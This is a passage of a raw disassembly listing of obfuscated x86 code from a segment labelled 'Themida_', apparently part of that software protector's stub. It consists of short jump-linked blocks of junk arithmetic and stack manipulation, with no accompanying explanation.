		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A67EF
; ---------------------------------------------------------------------------


loc_5A3724:				; CODE XREF: Themida_:005A58A8j
		sub	edi, 13CDFDA0h
		mov	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	37332E0h
		pop	edx
		inc	edx
		shl	edx, 7
		push	ebx
		mov	ebx, 7398E883h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5A200C
; ---------------------------------------------------------------------------


loc_5A374E:				; CODE XREF: Themida_:005A6A81j
		add	edi, 4
		push	ecx
		jmp	loc_5A1116
; ---------------------------------------------------------------------------


loc_5A375A:				; CODE XREF: Themida_:005A3F5Bj
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_5A1CE1
; ---------------------------------------------------------------------------


loc_5A3768:				; CODE XREF: Themida_:0059AEBDj
		and	eax, 463B0F7Ah
		xor	eax, 30766DC6h
		sub	edi, eax
		pop	eax
		add	edi, ecx
		add	edi, 707E6B8Ch
		push	dword ptr [esp]
		jmp	loc_5A9A9C
; ---------------------------------------------------------------------------


loc_5A3785:				; CODE XREF: Themida_:0059AF1Ej
		add	al, 0A1h
		push	small 4CCBh
		jmp	loc_59F8D4
; ---------------------------------------------------------------------------


loc_5A3790:				; CODE XREF: Themida_:005A783Bj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_599A28
; ---------------------------------------------------------------------------


loc_5A379B:				; CODE XREF: Themida_:005AE6DEj
		push	esi
		push	eax
		mov	eax, 5C42010h
		mov	esi, 73F21975h
		jmp	loc_598A8D
; ---------------------------------------------------------------------------


loc_5A37AC:				; CODE XREF: Themida_:0059B7DFj
		mov	esp, [esp]
		jmp	loc_5A5A73
; ---------------------------------------------------------------------------


loc_5A37B4:				; CODE XREF: Themida_:005A822Ej
		sub	esp, 4
		jmp	loc_5AE218
; ---------------------------------------------------------------------------


loc_5A37BF:				; CODE XREF: Themida_:005ADD50j
		add	esp, 4
		shr	esi, 6
		push	ecx
		mov	ecx, 31D37857h
		shl	ecx, 6
		neg	ecx
		jmp	loc_5995DF
; ---------------------------------------------------------------------------


loc_5A37D8:				; CODE XREF: Themida_:0059DB9Ej
		or	dh, al
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	bl, 0F8h
		dec	bl
		shl	bl, 7
		dec	bl
		jmp	loc_5A93FE
; ---------------------------------------------------------------------------


loc_5A37F8:				; CODE XREF: Themida_:005A5CD8j
		add	dword ptr [esp], 1B531D13h
		push	edi
		mov	edi, 7B381C15h
		jmp	loc_5AD2D5
; ---------------------------------------------------------------------------


loc_5A380A:				; CODE XREF: Themida_:0059EB39j
		sub	eax, 7324145Eh
		shr	eax, 6
		jmp	loc_5A33AF
; ---------------------------------------------------------------------------


loc_5A3817:				; CODE XREF: Themida_:005A4649j
		push	546E1FEEh
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 3B1FC3ECh
		jmp	loc_5A2AAE
; ---------------------------------------------------------------------------


loc_5A3835:				; CODE XREF: Themida_:0059BF33j
					; Themida_:005A48B5j
		mov	eax, 30C27975h
		add	eax, 3F000540h
		sub	eax, 6BD2712Bh
		jmp	loc_5AD9F7
; ---------------------------------------------------------------------------


loc_5A3849:				; CODE XREF: Themida_:0059DDCBj
		sub	eax, edi
		jmp	loc_5AB67B
; ---------------------------------------------------------------------------


loc_5A3850:				; CODE XREF: Themida_:00599609j
		pop	edi
		pop	ecx
		jmp	loc_5A6B16
; ---------------------------------------------------------------------------


loc_5A3857:				; CODE XREF: Themida_:0059A656j
		add	eax, edx
		add	eax, 1C0F4906h
		pop	edx
		add	ebx, 54A66399h
		jmp	loc_5AC4D2
; ---------------------------------------------------------------------------


loc_5A386A:				; CODE XREF: Themida_:005AD681j
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A2765
; ---------------------------------------------------------------------------


loc_5A3879:				; CODE XREF: Themida_:005AC120j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A6868
; ---------------------------------------------------------------------------


loc_5A388E:				; CODE XREF: Themida_:005AEEC0j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6F6h
		mov	[esp], ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A38BF:				; CODE XREF: Themida_:0059D003j
		xor	ebx, 65009F4h
		and	eax, ebx
		jmp	loc_59C219
; ---------------------------------------------------------------------------


loc_5A38CC:				; CODE XREF: Themida_:0059C0E9j
		mov	[esp], eax
		push	edx
		jmp	loc_5A41CF
; ---------------------------------------------------------------------------


loc_5A38D5:				; CODE XREF: Themida_:005A7B53j
		push	38DDh
		mov	[esp], ecx
		push	7A81h
		jmp	loc_5ADCD8
; ---------------------------------------------------------------------------


loc_5A38E7:				; CODE XREF: Themida_:0059B696j
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A6157
; ---------------------------------------------------------------------------


loc_5A38F7:				; CODE XREF: Themida_:0059FAD0j
		sub	bl, 88h
		add	bl, al
		add	bl, 88h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A2BA3
; ---------------------------------------------------------------------------


loc_5A390A:				; CODE XREF: Themida_:005ACBB9j
		shr	eax, 18h
		jmp	loc_5A6BA4
; ---------------------------------------------------------------------------


loc_5A3912:				; CODE XREF: Themida_:005A6F68j
					; Themida_:005A8137j
		push	6C0818D8h
		jmp	loc_5A833D
; ---------------------------------------------------------------------------


loc_5A391C:				; CODE XREF: Themida_:00599547j
		push	ecx
		mov	ch, 0C3h
		mov	bl, 0Fh
		sub	bl, ch
		pop	ecx
		shl	bl, 2
		sub	esp, 2
		mov	[esp], bx
		inc	byte ptr [esp]
		pop	bx
		and	bl, 0B1h
		not	bl
		sub	bl, 73h
		add	al, 76h
		sub	al, bl
		jmp	loc_5AD5B3
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: Themida_:005A64CAj
					; Themida_:005AED79j
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5A2184
; ---------------------------------------------------------------------------


loc_5A3950:				; CODE XREF: Themida_:005A812Ej
		shl	ebx, 5
		jmp	loc_599D59
; ---------------------------------------------------------------------------


loc_5A3958:				; CODE XREF: Themida_:0059C091j
		push	ebp
		push	ecx
		mov	ecx, 2B063D38h
		mov	ebp, ecx
		jmp	loc_5A8C19
; ---------------------------------------------------------------------------


loc_5A3966:				; CODE XREF: Themida_:005993D5j
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_5A47CA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	28F8h
		mov	[esp], esi
		jmp	loc_59D893
; ---------------------------------------------------------------------------


loc_5A398A:				; CODE XREF: Themida_:0059E87Bj
		add	ecx, 29471047h
		pop	edx
		jmp	loc_5A2ED3
; ---------------------------------------------------------------------------


loc_5A3996:				; CODE XREF: Themida_:005A654Bj
		push	ebp
		jmp	loc_59CDAD
; ---------------------------------------------------------------------------


loc_5A399C:				; CODE XREF: Themida_:0059BE58j
					; Themida_:005A679Bj
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		push	51E3h
		mov	[esp], esp
		jmp	loc_5A1680
; ---------------------------------------------------------------------------


loc_5A39AF:				; CODE XREF: Themida_:005A79CEj
					; Themida_:loc_5A914Dj
		xor	ecx, 2D50249Ch
		jmp	loc_5A5B7F
; ---------------------------------------------------------------------------


loc_5A39BA:				; CODE XREF: Themida_:005A6257j
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A8F9D
; ---------------------------------------------------------------------------


loc_5A39CD:				; CODE XREF: Themida_:005A8072j
		push	ebp
		jmp	loc_5AEBF8
; ---------------------------------------------------------------------------


loc_5A39D3:				; CODE XREF: Themida_:005A30D6j
		mov	ecx, 47870C74h
		jmp	loc_5A9CF5
; ---------------------------------------------------------------------------


loc_5A39DD:				; CODE XREF: Themida_:0059B859j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A0777
; ---------------------------------------------------------------------------


loc_5A39EB:				; CODE XREF: Themida_:005AA763j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A39F0:				; CODE XREF: Themida_:loc_5AA473j
		or	ah, 46h
		ja	loc_5AE837
		jmp	loc_5A4EB8
; ---------------------------------------------------------------------------
		sub	eax, 6EB4002Bh
		mov	cl, bh


loc_5A3A05:				; CODE XREF: Themida_:0059AB8Fj
					; Themida_:005A6B53j
		xor	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59D03B
; ---------------------------------------------------------------------------


loc_5A3A14:				; CODE XREF: Themida_:005A7CC1j
		sub	esp, 2
		mov	[esp], bx
		push	edx
		mov	dh, 4Bh
		jmp	loc_5AE4DE
; ---------------------------------------------------------------------------


loc_5A3A26:				; CODE XREF: Themida_:0059D942j
		sub	edx, 6FA40152h
		jmp	loc_5A78B0
; ---------------------------------------------------------------------------


loc_5A3A31:				; CODE XREF: Themida_:005AAEC8j
		mov	edx, [esp]
		jmp	loc_5A673C
; ---------------------------------------------------------------------------


loc_5A3A39:				; CODE XREF: Themida_:0059AA5Ej
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A9075
; ---------------------------------------------------------------------------


loc_5A3A49:				; CODE XREF: Themida_:005A4B84j
					; Themida_:005A60F1j
		neg	ebx
		sub	ebx, 12201BABh
		jbe	loc_5A78A2
		add	ebx, 868D5FF1h
		mov	esi, ebx
		pop	ebx
		mov	edx, 4C6A443Ch
		xor	edx, esi
		pop	esi
		add	esi, 4E5649Bh
		jmp	loc_5A5EF0
; ---------------------------------------------------------------------------


loc_5A3A73:				; CODE XREF: Themida_:0059BC46j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A3A78:				; CODE XREF: Themida_:005AC52Bj
		mov	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59DF8C
; ---------------------------------------------------------------------------


loc_5A3A88:				; CODE XREF: Themida_:0059EF3Bj
		add	al, bl
		jmp	loc_5AA8EF
; ---------------------------------------------------------------------------


loc_5A3A8F:				; CODE XREF: Themida_:005A10FCj
		push	edx
		mov	dl, 0CCh
		inc	dl
		and	dl, 90h
		add	dl, 14h
		add	al, dl
		pop	edx
		jmp	loc_5AC2F9
; ---------------------------------------------------------------------------


loc_5A3AA2:				; CODE XREF: Themida_:005AD1BCj
		mov	ebx, 45AD1F6Eh
		push	edx
		mov	edx, 2CFC0154h
		jmp	loc_5AD886
; ---------------------------------------------------------------------------


loc_5A3AB2:				; CODE XREF: Themida_:005AA64Cj
		push	4435h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 3C0F4FF8h
		mov	ecx, 558B3A2Ah
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 698475CEh
		add	eax, 100D2E6Dh
		jmp	loc_5A3CF7
; ---------------------------------------------------------------------------


loc_5A3AD8:				; CODE XREF: Themida_:005A6395j
		mov	ch, dh
		mov	bh, ch
		pop	ecx
		pop	edx
		xor	al, bh
		mov	bx, [esp]
		push	45DDh
		jmp	loc_59ADEC
; ---------------------------------------------------------------------------


loc_5A3AEE:				; CODE XREF: Themida_:0059D083j
		not	ebx
		xor	ebx, 87C32A4h
		jmp	loc_59F510
; ---------------------------------------------------------------------------


loc_5A3AFB:				; CODE XREF: Themida_:005A695Dj
					; Themida_:005A91AEj
		pop	ebx
		jmp	loc_5A0DC4
; ---------------------------------------------------------------------------


loc_5A3B01:				; CODE XREF: Themida_:005AB45Ej
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	6F40h
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A3B1A:				; CODE XREF: Themida_:005A93F2j
		mov	bh, dh
		pop	edx
		add	bh, 0F4h
		jmp	loc_59D4F8
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_5AC8CC
; ---------------------------------------------------------------------------


loc_5A3B2D:				; CODE XREF: Themida_:0059A1D1j
		mov	ebp, 24F083CBh
		sub	eax, 1AA31A3h
		sub	eax, ebp
		push	6376h
		mov	[esp], ebx
		jmp	loc_5A4C9D
; ---------------------------------------------------------------------------


loc_5A3B46:				; CODE XREF: Themida_:005A6B04j
		push	ecx
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A6EAF
; ---------------------------------------------------------------------------


loc_5A3B56:				; CODE XREF: Themida_:0059852Fj
		pop	esp
		jmp	loc_5A669B
; ---------------------------------------------------------------------------


loc_5A3B5C:				; CODE XREF: Themida_:005A5F5Bj
					; Themida_:005A81F3j
		add	edx, edi
		jmp	loc_59CDBF
; ---------------------------------------------------------------------------


loc_5A3B63:				; CODE XREF: Themida_:005A3E83j
		mov	bl, 5Ch
		xor	bl, 76h
		sub	dh, bl
		pop	ebx
		add	dh, 75h
		sub	dh, ah
		sub	dh, 75h
		push	ecx
		mov	ch, 21h
		add	ch, 5Fh
		jmp	loc_5A8721
; ---------------------------------------------------------------------------


loc_5A3B7E:				; CODE XREF: Themida_:005A41B8j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		push	eax
		mov	ah, 36h
		push	ebx
		mov	bl, 33h
		sub	bl, 0F5h
		jmp	loc_5A3E7F
; ---------------------------------------------------------------------------


loc_5A3B97:				; CODE XREF: Themida_:0059E9E4j
		mov	esi, 2988565Dh
		push	edi
		mov	edi, 2C22462Dh
		add	esi, edi
		pop	edi
		shr	esi, 8
		jmp	loc_5A2C66
; ---------------------------------------------------------------------------


loc_5A3BAD:				; CODE XREF: Themida_:005AC583j
		mov	[esp], edx
		push	ecx
		mov	cl, 59h
		mov	dh, cl
		pop	ecx
		or	dh, 93h
		and	dh, 90h
		or	dh, 0C9h
		push	bx
		mov	bh, 8Dh
		sub	dh, 0F5h
		sub	dh, bh
		add	dh, 0F5h
		pop	bx
		jmp	loc_599533
; ---------------------------------------------------------------------------


loc_5A3BD2:				; CODE XREF: Themida_:0059F4DFj
		push	4418h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_59E0FB
; ---------------------------------------------------------------------------


loc_5A3BE7:				; CODE XREF: Themida_:0059C1DAj
		mov	[esp], ebx
		push	eax
		jmp	loc_59F295
; ---------------------------------------------------------------------------


loc_5A3BF0:				; CODE XREF: Themida_:005A4EE4j
		mov	ch, 0A3h
		sub	ch, 21h
		jmp	loc_5ABB7C
; ---------------------------------------------------------------------------


loc_5A3BFA:				; CODE XREF: Themida_:005A164Dj
		pop	ecx
		sub	esp, 4
		jmp	loc_5AD349
; ---------------------------------------------------------------------------


loc_5A3C06:				; CODE XREF: Themida_:0059AAB2j
		push	esi
		mov	esi, 51B71960h
		push	ebp
		mov	ebp, 295A3063h
		xor	esi, ebp
		jmp	loc_59A74F
; ---------------------------------------------------------------------------


loc_5A3C19:				; CODE XREF: Themida_:0059C07Dj
		pop	ebx
		add	esi, ecx
		add	esi, 2F4D0AFBh
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5AC82C
; ---------------------------------------------------------------------------


loc_5A3C36:				; CODE XREF: Themida_:005A5A62j
		mov	ebp, 0FCC36F7h
		shl	ebp, 6
		and	ebp, 0E2954D0h
		dec	ebp
		push	eax
		mov	eax, 0B2191D2Dh
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		push	eax
		pop	dword ptr [edi+20h]
		pop	eax
		push	6FF6h
		mov	[esp], esi
		push	234Ah
		mov	[esp], edi
		push	127A02C1h
		jmp	loc_5A2A57
; ---------------------------------------------------------------------------


loc_5A3C70:				; CODE XREF: Themida_:005A0662j
					; Themida_:005A4509j
		and	dh, 0F7h
		push	eax
		mov	al, 5Ch
		xor	al, 0A8h
		jmp	loc_5AEFDE
; ---------------------------------------------------------------------------


loc_5A3C7D:				; CODE XREF: Themida_:005AC0B1j
		pop	eax
		sub	esp, 4
		jmp	loc_5A94F5
; ---------------------------------------------------------------------------


loc_5A3C86:				; CODE XREF: Themida_:00599480j
		add	edx, 42EE2A19h
		not	edx
		add	edx, 7DBC6636h
		sub	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 383863BEh
		jmp	loc_5A0071
; ---------------------------------------------------------------------------


loc_5A3CB0:				; CODE XREF: Themida_:00598AC7j
		add	esp, 2
		jmp	loc_5A0E3E
; ---------------------------------------------------------------------------


loc_5A3CBB:				; CODE XREF: Themida_:005A6BE0j
		xor	[esp], edi
		jmp	loc_5A07DB
; ---------------------------------------------------------------------------


loc_5A3CC3:				; CODE XREF: Themida_:005A5319j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59D311
; ---------------------------------------------------------------------------


loc_5A3CD1:				; CODE XREF: Themida_:0059F866j
		dec	edi
		jl	loc_5AF3DD
		xor	edi, ebx
		jmp	loc_5A9AEB
; ---------------------------------------------------------------------------


loc_5A3CDF:				; CODE XREF: Themida_:0059CCE0j
		add	eax, ecx
		sub	eax, 5D5E76FBh
		pop	ecx
		jmp	loc_59E676
; ---------------------------------------------------------------------------


loc_5A3CEC:				; CODE XREF: Themida_:005A1AA3j
		jg	loc_5A34F9
		jmp	loc_5A152D
; ---------------------------------------------------------------------------


loc_5A3CF7:				; CODE XREF: Themida_:005A3AD3j
		add	eax, ecx
		sub	eax, 100D2E6Dh
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	1FA014Ah
		pop	ebp
		sub	ebp, 1FA0148h
		push	ebp
		pop	esi
		pop	ebp
		add	eax, esi
		jmp	loc_599D48
; ---------------------------------------------------------------------------


loc_5A3D1C:				; CODE XREF: Themida_:005A6AF8j
		sub	esp, 4
		jmp	loc_5A6658
; ---------------------------------------------------------------------------


loc_5A3D27:				; CODE XREF: Themida_:005A1AF4j
		push	47B7h
		jmp	loc_59ABDD
; ---------------------------------------------------------------------------


loc_5A3D31:				; CODE XREF: Themida_:005A849Dj
		sub	esp, 4
		jmp	loc_5AB6C4
; ---------------------------------------------------------------------------


loc_5A3D3C:				; CODE XREF: Themida_:0059850Bj
		push	edx
		jmp	loc_5A5866
; ---------------------------------------------------------------------------


loc_5A3D42:				; CODE XREF: Themida_:005A4A0Fj
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1FF9E23Fh
		jmp	loc_5A35A8
; ---------------------------------------------------------------------------


loc_5A3D56:				; CODE XREF: Themida_:0059BEC7j
					; Themida_:0059F85Bj ...
		pop	ebx
		sub	edx, 62E73DEEh
		sub	ebx, edx
		pop	edx
		sub	ebx, 30F700BBh
		and	ebx, 265F3290h
		push	edi
		mov	edi, 220A208Ch
		jmp	loc_5983C3
; ---------------------------------------------------------------------------


loc_5A3D77:				; CODE XREF: Themida_:005A2119j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_599D51
; ---------------------------------------------------------------------------


loc_5A3D82:				; CODE XREF: Themida_:005A6B1Aj
		add	ebx, 0F5A70B16h
		push	edi
		mov	edi, ebx
		mov	eax, edi
		jmp	loc_5A991F
; ---------------------------------------------------------------------------


loc_5A3D92:				; CODE XREF: Themida_:005ABC0Cj
		add	eax, 42955775h
		mov	ebp, eax
		jmp	loc_59EC9C
; ---------------------------------------------------------------------------


loc_5A3D9E:				; CODE XREF: Themida_:005A46F2j
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 1
		jmp	loc_5A9C90
; ---------------------------------------------------------------------------


loc_5A3DAE:				; CODE XREF: Themida_:005A2E0Fj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5ACD3E
; ---------------------------------------------------------------------------


loc_5A3DC0:				; CODE XREF: Themida_:005AB21Fj
		mov	ecx, esp
		jmp	loc_5A830D
; ---------------------------------------------------------------------------


loc_5A3DC7:				; CODE XREF: Themida_:0059FF67j
		pop	eax
		add	esp, 4
		push	7E88h
		mov	[esp], ebp
		push	0CC5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_5A6A92
; ---------------------------------------------------------------------------


loc_5A3DEE:				; CODE XREF: Themida_:005A16AEj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5A444E
; ---------------------------------------------------------------------------


loc_5A3DFC:				; CODE XREF: Themida_:00598838j
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		push	ecx
		jmp	loc_5997AA
; ---------------------------------------------------------------------------


loc_5A3E07:				; CODE XREF: Themida_:005A2103j
		mov	eax, 9D7ABC35h
		jmp	loc_5A8F76
; ---------------------------------------------------------------------------


loc_5A3E11:				; CODE XREF: Themida_:0059FA40j
		push	ebx
		mov	ebx, 21982338h
		push	ebp
		mov	ebp, 1BC75B8Ah
		jmp	loc_5A7B0A
; ---------------------------------------------------------------------------


loc_5A3E22:				; CODE XREF: Themida_:005AA8FAj
		mov	cl, 30h
		xor	al, cl
		mov	ecx, [esp]
		push	3A89h
		mov	[esp], esi
		jmp	loc_5A4BDB
; ---------------------------------------------------------------------------


loc_5A3E36:				; CODE XREF: Themida_:005A45BCj
		jmp	loc_59D542
; ---------------------------------------------------------------------------


loc_5A3E3B:				; CODE XREF: Themida_:005A6C27j
		pop	edx
		add	al, ch
		push	ecx
		mov	cl, 0E1h
		dec	cl
		shr	cl, 7
		push	eax
		jmp	loc_598C96
; ---------------------------------------------------------------------------


loc_5A3E4C:				; CODE XREF: Themida_:005A465Dj
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------


loc_5A3E51:				; CODE XREF: Themida_:0059D9D3j
		push	eax
		mov	eax, esp
		push	5C67h
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_5A80E7
; ---------------------------------------------------------------------------


loc_5A3E6E:				; CODE XREF: Themida_:005A8E06j
		pop	ecx
		add	eax, 4
		jmp	loc_5A953C
; ---------------------------------------------------------------------------


loc_5A3E77:				; CODE XREF: Themida_:005993B9j
		idiv	ecx
		push	eax
		jmp	loc_5A6C56
; ---------------------------------------------------------------------------


loc_5A3E7F:				; CODE XREF: Themida_:005A3B92j
		mov	dh, bl
		pop	ebx
		push	ebx
		jmp	loc_5A3B63
; ---------------------------------------------------------------------------


loc_5A3E88:				; CODE XREF: Themida_:005A975Ej
		push	ecx
		jmp	loc_5AE1D5
; ---------------------------------------------------------------------------


loc_5A3E8E:				; CODE XREF: Themida_:005A8014j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59D37C
; ---------------------------------------------------------------------------


loc_5A3E9F:				; CODE XREF: Themida_:005AF200j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A0673
; ---------------------------------------------------------------------------


loc_5A3EB1:				; CODE XREF: Themida_:005AEA43j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 0EF88FD36h
		add	eax, edx
		pop	edx
		pop	edx
		xor	ebx, eax
		jmp	loc_5A0090
; ---------------------------------------------------------------------------


loc_5A3ECD:				; CODE XREF: Themida_:005987DBj
		pop	edx
		jmp	loc_5AE95E
; ---------------------------------------------------------------------------


loc_5A3ED3:				; CODE XREF: Themida_:0059AD9Bj
					; Themida_:005A173Dj
		and	edi, 4BD9747Fh
		jmp	loc_59D53A
; ---------------------------------------------------------------------------


loc_5A3EDE:				; CODE XREF: Themida_:0059ADAFj
					; Themida_:005A2DF5j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	472Ah
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_5A817B
; ---------------------------------------------------------------------------


loc_5A3EFE:				; CODE XREF: Themida_:005A8F1Bj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		jmp	loc_5999CF
; ---------------------------------------------------------------------------


loc_5A3F09:				; CODE XREF: Themida_:005AE910j
		jnb	loc_5985C3
		jmp	loc_5AA0A4
; ---------------------------------------------------------------------------
		add	esp, 4
		xchg	ecx, [esp]


loc_5A3F1D:				; CODE XREF: Themida_:0059BAD2j
		mov	edi, 5E1558BAh
		or	edi, 9523756h
		jl	loc_5AD6D8
		shr	edi, 6
		sub	edi, 8428EE98h
		push	eax
		push	123376F8h
		pop	eax
		inc	eax
		dec	eax
		jmp	loc_5AA5CA
; ---------------------------------------------------------------------------


loc_5A3F45:				; CODE XREF: Themida_:005AF0EFj
		mov	esp, [esp]
		jmp	loc_5A10A9
; ---------------------------------------------------------------------------


loc_5A3F4D:				; CODE XREF: Themida_:005A4337j
		push	edx
		jmp	loc_59E713
; ---------------------------------------------------------------------------


loc_5A3F53:				; CODE XREF: Themida_:0059B96Dj
		add	eax, 170A1E07h
		add	eax, ebx
		push	edi
		jmp	loc_5A375A
; ---------------------------------------------------------------------------


loc_5A3F60:				; CODE XREF: Themida_:0059B912j
		jmp	loc_5AC14B
; ---------------------------------------------------------------------------


loc_5A3F65:				; CODE XREF: Themida_:005A6F15j
		push	ebx
		jmp	loc_5A1DE8
; ---------------------------------------------------------------------------


loc_5A3F6B:				; CODE XREF: Themida_:005A776Ej
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AF25D
; ---------------------------------------------------------------------------


loc_5A3F79:				; CODE XREF: Themida_:0059C90Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	ebp
		mov	ebp, 5A255CBBh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 161F03E4h
		push	esi
		mov	esi, 1
		sub	ecx, 6AC87D0Ch
		add	ecx, esi
		add	ecx, 6AC87D0Ch
		push	dword ptr [esp]
		jmp	loc_59CC66
; ---------------------------------------------------------------------------


loc_5A3FB1:				; CODE XREF: Themida_:0059E3AFj
		mov	ebp, 1D856E10h
		jmp	loc_5A90B5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		jmp	loc_59BF38
; ---------------------------------------------------------------------------


loc_5A3FC5:				; CODE XREF: Themida_:005AF108j
		pop	edi
		push	5C6Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59F90F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59B3C0
; ---------------------------------------------------------------------------


loc_5A3FE1:				; CODE XREF: Themida_:005A4559j
		mov	[esp], ebx
		mov	eax, [esp]
		push	7F96h
		mov	[esp], eax
		jmp	loc_5A6D39
; ---------------------------------------------------------------------------


loc_5A3FF4:				; CODE XREF: Themida_:0059AC2Aj
		neg	edx
		jns	loc_599FF3
		add	edx, 7AB14EA7h
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		pop	eax
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A991F
; ---------------------------------------------------------------------------


loc_5A4015:				; CODE XREF: Themida_:0059F375j
		mov	ecx, 2
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A402F:				; CODE XREF: Themida_:005AC8EEj
		sub	dh, 11h
		jmp	loc_5A8CFD
; ---------------------------------------------------------------------------


loc_5A4037:				; CODE XREF: Themida_:005A8C4Bj
		sub	edx, ecx
		pop	ecx
		xor	edx, [esp]
		jmp	loc_59B6B5
; ---------------------------------------------------------------------------


loc_5A4042:				; CODE XREF: Themida_:005AC85Cj
		mov	[esp], ecx
		jmp	loc_59F047
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A4053:				; CODE XREF: Themida_:005A70BDj
		mov	ch, dh
		push	dword ptr [esp]
		jmp	loc_59DC3A
; ---------------------------------------------------------------------------


loc_5A405D:				; CODE XREF: Themida_:005A0D07j
		mov	ecx, esp
		jmp	loc_5A7E35
; ---------------------------------------------------------------------------


loc_5A4064:				; CODE XREF: Themida_:005A76B9j
		xor	ebx, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FFFFh
		jmp	loc_59A8EC
; ---------------------------------------------------------------------------


loc_5A4092:				; CODE XREF: Themida_:0059C309j
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5AEAB7
; ---------------------------------------------------------------------------


loc_5A40A4:				; CODE XREF: Themida_:005A62ECj
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A4B8F
; ---------------------------------------------------------------------------


loc_5A40B2:				; CODE XREF: Themida_:005A0DFBj
		add	esp, 4
		sub	ebx, 1AE34439h
		sub	ebx, eax
